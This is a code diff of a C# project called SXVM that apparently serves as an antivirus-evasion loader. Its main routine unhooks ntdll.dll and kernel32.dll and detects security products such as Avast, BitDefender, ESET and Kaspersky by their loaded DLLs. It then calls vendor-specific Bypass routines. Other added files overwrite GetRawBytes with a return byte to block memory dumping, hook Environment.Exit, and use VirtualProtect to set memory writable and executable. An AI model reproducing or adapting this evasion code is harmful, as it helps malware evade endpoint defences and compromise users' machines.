||||||
|
else
|
||||||
|
{
|
||||||
|
Initialize();
|
||||||
|
Type harmonyType = _0Harmony.GetType(@"HarmonyLib.Harmony");
|
||||||
|
object harmonyInstance = Activator.CreateInstance(harmonyType, PatchID);
|
||||||
|
MethodInfo patchMethod = harmonyType.GetMethod(@"Patch");
|
||||||
|
Type accessToolsType = _0Harmony.GetType(@"HarmonyLib.AccessTools");
|
||||||
|
MethodInfo methodMethod = accessToolsType.GetMethod(@"Method", new Type[] { typeof(Type), typeof(string), typeof(Type[]), typeof(Type[]) });
|
||||||
|
MethodInfo internalOriginalMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { originalMethod.InternalMethodType, originalMethod.InternalMethodName, originalMethod.InternalTypeParameters, null });
|
||||||
|
MethodInfo internalPrefixMethod = null;
|
||||||
|
MethodInfo internalPostfixMethod = null;
|
||||||
|
if (prefixMethod != null)
|
||||||
|
{
|
||||||
|
internalPrefixMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { prefixMethod, @"Prefix", null, null });
|
||||||
|
}
|
||||||
|
if (postfixMethod != null)
|
||||||
|
{
|
||||||
|
internalPostfixMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { postfixMethod, @"Postfix", null, null });
|
||||||
|
}
|
||||||
|
Type harmonyMethodType = _0Harmony.GetType(@"HarmonyLib.HarmonyMethod");
|
||||||
|
if (prefixMethod != null & postfixMethod != null)
|
||||||
|
{
|
||||||
|
object harmonyMethodInstance = Activator.CreateInstance(harmonyMethodType, internalPrefixMethod);
|
||||||
|
object harmonyMethodInstance2 = Activator.CreateInstance(harmonyMethodType, internalPostfixMethod);
|
||||||
|
patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, harmonyMethodInstance, harmonyMethodInstance2, null, null });
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (prefixMethod != null)
|
||||||
|
{
|
||||||
|
object harmonyMethodInstance = Activator.CreateInstance(harmonyMethodType, internalPrefixMethod);
|
||||||
|
patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, harmonyMethodInstance, null, null, null });
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
object harmonyMethodInstance2 = Activator.CreateInstance(harmonyMethodType, internalPostfixMethod);
|
||||||
|
patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, null, harmonyMethodInstance2, null, null });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace SXVM.Hooks
|
||||||
|
{
|
||||||
|
internal static class EnvironmentExit
|
||||||
|
{
|
||||||
|
internal static void Hook(string[] args)
|
||||||
|
{
|
||||||
|
HarmonyPatcher.Patch(new HarmonyPatcher.TypeInfo(typeof(Environment), @"Exit", new Type[] { typeof(int) }), typeof(HookedEnvironment.Exit), null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class HookedEnvironment
|
||||||
|
{
|
||||||
|
internal static class Exit
|
||||||
|
{
|
||||||
|
internal static bool Prefix(ref int exitCode)
|
||||||
|
{
|
||||||
|
Process.GetCurrentProcess().Kill();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using static SXVM.API;
|
||||||
|
|
||||||
|
namespace SXVM.Hooks
|
||||||
|
{
|
||||||
|
internal static class GetRawBytes
|
||||||
|
{
|
||||||
|
internal static unsafe void Hook(string[] args)
|
||||||
|
{
|
||||||
|
byte[] patch = { 0xC3 };
|
||||||
|
IntPtr GetRawBytesAddress = GetManagedFunctionPointer(Assembly.GetExecutingAssembly().GetType().GetMethod(@"GetRawBytes", BindingFlags.Instance | BindingFlags.NonPublic).MethodHandle.Value.ToPointer());
|
||||||
|
WriteMemoryBlock(GetRawBytesAddress, patch, (uint)patch.Length);
|
||||||
|
patch = null;
|
||||||
|
GC.Collect();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+140
@@ -0,0 +1,140 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO.Compression;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection.Emit;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.ExceptionServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using static SXVM.API;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
using SXVM.Bypasses;
|
||||||
|
using SXVM.Hooks;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
//[INFO] - Compile as Debug - x64.
|
||||||
|
internal static class Program
|
||||||
|
{
|
||||||
|
private static ushort ExcludedHeader = 0x4F8F;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The main entry point for the application.
|
||||||
|
/// </summary>
|
||||||
|
[STAThread]
|
||||||
|
static void Main(string[] args)
|
||||||
|
{
|
||||||
|
ushort oldHeader = 0;
|
||||||
|
WriteCustomHeader(ExcludedHeader, out oldHeader);
|
||||||
|
|
||||||
|
Unhooker.Unhook(@"ntdll.dll");
|
||||||
|
Unhooker.Unhook(@"kernel32.dll");
|
||||||
|
|
||||||
|
PrepareHandlers(args);
|
||||||
|
|
||||||
|
string AntiVirus = @"";
|
||||||
|
|
||||||
|
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||||
|
{
|
||||||
|
if (module.ModuleName == @"aswAMSI.dll" || module.ModuleName == @"aswhook.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"Avast";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"atcuf64.dll" || module.ModuleName == @"bdhkm64.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"BitDefender";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"fsamsi64.dll" || module.ModuleName == @"fshook64.dll" || module.ModuleName == @"fs_ccf_ipc_64.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"F-Secure";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"hmpalert.dll" || module.ModuleName == @"SophosAmsiProvider.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"Sophos";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"eamsi.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"ESET";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"com_antivirus.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"Kaspersky";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"symamsi.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"Norton";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if (module.ModuleName == @"mbae64.dll")
|
||||||
|
{
|
||||||
|
AntiVirus = @"Malwarebytes";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (AntiVirus)
|
||||||
|
{
|
||||||
|
case @"Avast":
|
||||||
|
Avast.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"BitDefender":
|
||||||
|
BitDefender.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"F-Secure":
|
||||||
|
Default.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"Sophos":
|
||||||
|
Default.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"ESET":
|
||||||
|
ESET.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"Kaspersky":
|
||||||
|
Kaspersky.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"Norton":
|
||||||
|
Default.Bypass(args);
|
||||||
|
break;
|
||||||
|
case @"Malwarebytes":
|
||||||
|
Default.Bypass(args);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
Default.Bypass(args);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void PrepareHandlers(string[] args)
|
||||||
|
{
|
||||||
|
RegisterHandler(@"BypassDisabled", (HandlerArgs) =>
|
||||||
|
{
|
||||||
|
throw new AccessViolationException();
|
||||||
|
return null;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static void AttachHooks(string[] args)
|
||||||
|
{
|
||||||
|
GetRawBytes.Hook(args);
|
||||||
|
|
||||||
|
EnvironmentExit.Hook(args);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// General Information about an assembly is controlled through the following
|
||||||
|
// set of attributes. Change these attribute values to modify the information
|
||||||
|
// associated with an assembly.
|
||||||
|
[assembly: AssemblyTitle("SXVM")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("SXVM")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © 2023")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// Setting ComVisible to false makes the types in this assembly not visible
|
||||||
|
// to COM components. If you need to access a type in this assembly from
|
||||||
|
// COM, set the ComVisible attribute to true on that type.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||||
|
[assembly: Guid("e1902815-b6df-4bc8-94a6-c61a382fe83d")]
|
||||||
|
|
||||||
|
// Version information for an assembly consists of the following four values:
|
||||||
|
//
|
||||||
|
// Major Version
|
||||||
|
// Minor Version
|
||||||
|
// Build Number
|
||||||
|
// Revision
|
||||||
|
//
|
||||||
|
// You can specify all the values or you can default the Build and Revision Numbers
|
||||||
|
// by using the '*' as shown below:
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.0.0.0")]
|
||||||
|
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||||
Generated
+71
@@ -0,0 +1,71 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
// Runtime Version:4.0.30319.42000
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace SXVM.Properties
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A strongly-typed resource class, for looking up localized strings, etc.
|
||||||
|
/// </summary>
|
||||||
|
// This class was auto-generated by the StronglyTypedResourceBuilder
|
||||||
|
// class via a tool like ResGen or Visual Studio.
|
||||||
|
// To add or remove a member, edit your .ResX file then rerun ResGen
|
||||||
|
// with the /str option, or rebuild your VS project.
|
||||||
|
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||||
|
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||||
|
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||||
|
internal class Resources
|
||||||
|
{
|
||||||
|
|
||||||
|
private static global::System.Resources.ResourceManager resourceMan;
|
||||||
|
|
||||||
|
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||||
|
|
||||||
|
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||||
|
internal Resources()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the cached ResourceManager instance used by this class.
|
||||||
|
/// </summary>
|
||||||
|
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||||
|
internal static global::System.Resources.ResourceManager ResourceManager
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
if ((resourceMan == null))
|
||||||
|
{
|
||||||
|
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SXVM.Properties.Resources", typeof(Resources).Assembly);
|
||||||
|
resourceMan = temp;
|
||||||
|
}
|
||||||
|
return resourceMan;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Overrides the current thread's CurrentUICulture property for all
|
||||||
|
/// resource lookups using this strongly typed resource class.
|
||||||
|
/// </summary>
|
||||||
|
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||||
|
internal static global::System.Globalization.CultureInfo Culture
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return resourceCulture;
|
||||||
|
}
|
||||||
|
set
|
||||||
|
{
|
||||||
|
resourceCulture = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
||||||
Generated
+30
@@ -0,0 +1,30 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
// Runtime Version:4.0.30319.42000
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace SXVM.Properties
|
||||||
|
{
|
||||||
|
|
||||||
|
|
||||||
|
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||||
|
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
|
||||||
|
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
|
||||||
|
{
|
||||||
|
|
||||||
|
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||||
|
|
||||||
|
public static Settings Default
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return defaultInstance;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
|
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||||
|
<Profiles>
|
||||||
|
<Profile Name="(Default)" />
|
||||||
|
</Profiles>
|
||||||
|
<Settings />
|
||||||
|
</SettingsFile>
|
||||||
+281
@@ -0,0 +1,281 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection.Emit;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.ExceptionServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
internal class SXVM
|
||||||
|
{
|
||||||
|
private enum AllocationProtectEnum : uint
|
||||||
|
{
|
||||||
|
PAGE_NOACCESS = 0x01,
|
||||||
|
PAGE_READONLY = 0x02,
|
||||||
|
PAGE_READWRITE = 0x04,
|
||||||
|
PAGE_WRITECOPY = 0x08,
|
||||||
|
PAGE_EXECUTE = 0x10,
|
||||||
|
PAGE_EXECUTE_READ = 0x20,
|
||||||
|
PAGE_EXECUTE_READWRITE = 0x40,
|
||||||
|
PAGE_EXECUTE_WRITECOPY = 0x80,
|
||||||
|
PAGE_GUARD = 0x100,
|
||||||
|
PAGE_NOCACHE = 0x200,
|
||||||
|
PAGE_WRITECOMBINE = 0x400,
|
||||||
|
PAGE_TARGETS_INVALID = 0x40000000,
|
||||||
|
PAGE_TARGETS_NO_UPDATE = 0x40000000
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct MEMORY_BASIC_INFORMATION
|
||||||
|
{
|
||||||
|
public IntPtr BaseAddress;
|
||||||
|
public IntPtr AllocationBase;
|
||||||
|
public AllocationProtectEnum AllocationProtect;
|
||||||
|
public IntPtr RegionSize;
|
||||||
|
public uint State;
|
||||||
|
public uint Protect;
|
||||||
|
public uint Type;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static uint ConvertProtectToFlags(uint protectValue)
|
||||||
|
{
|
||||||
|
switch (protectValue)
|
||||||
|
{
|
||||||
|
case 0x01:
|
||||||
|
return 0x02;
|
||||||
|
case 0x02:
|
||||||
|
return 0x04;
|
||||||
|
case 0x04:
|
||||||
|
return 0x40;
|
||||||
|
case 0x08:
|
||||||
|
return 0x80;
|
||||||
|
case 0x10:
|
||||||
|
return 0x20;
|
||||||
|
case 0x20:
|
||||||
|
return 0x100;
|
||||||
|
case 0x40:
|
||||||
|
return 0x400;
|
||||||
|
default:
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
private static extern int VirtualQuery(
|
||||||
|
IntPtr lpAddress,
|
||||||
|
ref MEMORY_BASIC_INFORMATION lpBuffer,
|
||||||
|
IntPtr dwLength
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
private static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size)
|
||||||
|
{
|
||||||
|
if ((int)size > src.Length)
|
||||||
|
{
|
||||||
|
throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uint OldProtect;
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
void* dest = (void*)Address;
|
||||||
|
for (int i = 0; i < (int)size; i++)
|
||||||
|
{
|
||||||
|
*((byte*)dest + i) = src[i];
|
||||||
|
}
|
||||||
|
GC.Collect();
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[HandleProcessCorruptedStateExceptions]
|
||||||
|
private static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size)
|
||||||
|
{
|
||||||
|
if (Address == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Invalid memory address.");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
else if ((int)size <= 0)
|
||||||
|
{
|
||||||
|
throw new ArgumentException("Size must be greater than zero.");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
uint OldProtect;
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] result = new byte[(int)size];
|
||||||
|
void* src = (void*)Address;
|
||||||
|
for (int i = 0; i < (int)size; i++)
|
||||||
|
{
|
||||||
|
result[i] = *((byte*)src + i);
|
||||||
|
}
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||||
|
throw new AccessViolationException();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private class DelegateTypeBuilder
|
||||||
|
{
|
||||||
|
internal static Type BuildDelegateType(MethodInfo methodInfo)
|
||||||
|
{
|
||||||
|
Type[] parameterTypes = methodInfo.GetParameters().Select(p => p.ParameterType).ToArray();
|
||||||
|
Type returnType = methodInfo.ReturnType;
|
||||||
|
|
||||||
|
return BuildDelegateType(parameterTypes, returnType);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal static Type BuildDelegateType(Type[] parameterTypes, Type returnType)
|
||||||
|
{
|
||||||
|
AssemblyName assemblyName = new AssemblyName("DynamicDelegateAssembly");
|
||||||
|
AssemblyBuilder assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
|
||||||
|
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("DynamicDelegateModule");
|
||||||
|
|
||||||
|
TypeBuilder typeBuilder = moduleBuilder.DefineType(
|
||||||
|
"DynamicDelegateType",
|
||||||
|
TypeAttributes.Sealed | TypeAttributes.Public,
|
||||||
|
typeof(MulticastDelegate)
|
||||||
|
);
|
||||||
|
|
||||||
|
ConstructorBuilder constructorBuilder = typeBuilder.DefineConstructor(
|
||||||
|
MethodAttributes.RTSpecialName | MethodAttributes.SpecialName | MethodAttributes.Public | MethodAttributes.HideBySig,
|
||||||
|
CallingConventions.Standard,
|
||||||
|
new Type[] { typeof(object), typeof(IntPtr) }
|
||||||
|
);
|
||||||
|
constructorBuilder.SetImplementationFlags(MethodImplAttributes.Runtime);
|
||||||
|
|
||||||
|
MethodBuilder methodBuilder = typeBuilder.DefineMethod(
|
||||||
|
"Invoke",
|
||||||
|
MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.NewSlot | MethodAttributes.Virtual,
|
||||||
|
returnType,
|
||||||
|
parameterTypes
|
||||||
|
);
|
||||||
|
|
||||||
|
methodBuilder.SetImplementationFlags(MethodImplAttributes.Runtime);
|
||||||
|
|
||||||
|
Type delegateType = typeBuilder.CreateType();
|
||||||
|
return delegateType;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Delegate CreateDelegateBasedOn(Delegate originalDelegate)
|
||||||
|
{
|
||||||
|
MethodInfo methodInfo = originalDelegate.Method;
|
||||||
|
Type delegateType = DelegateTypeBuilder.BuildDelegateType(methodInfo);
|
||||||
|
return Delegate.CreateDelegate(delegateType, null, methodInfo);
|
||||||
|
}
|
||||||
|
|
||||||
|
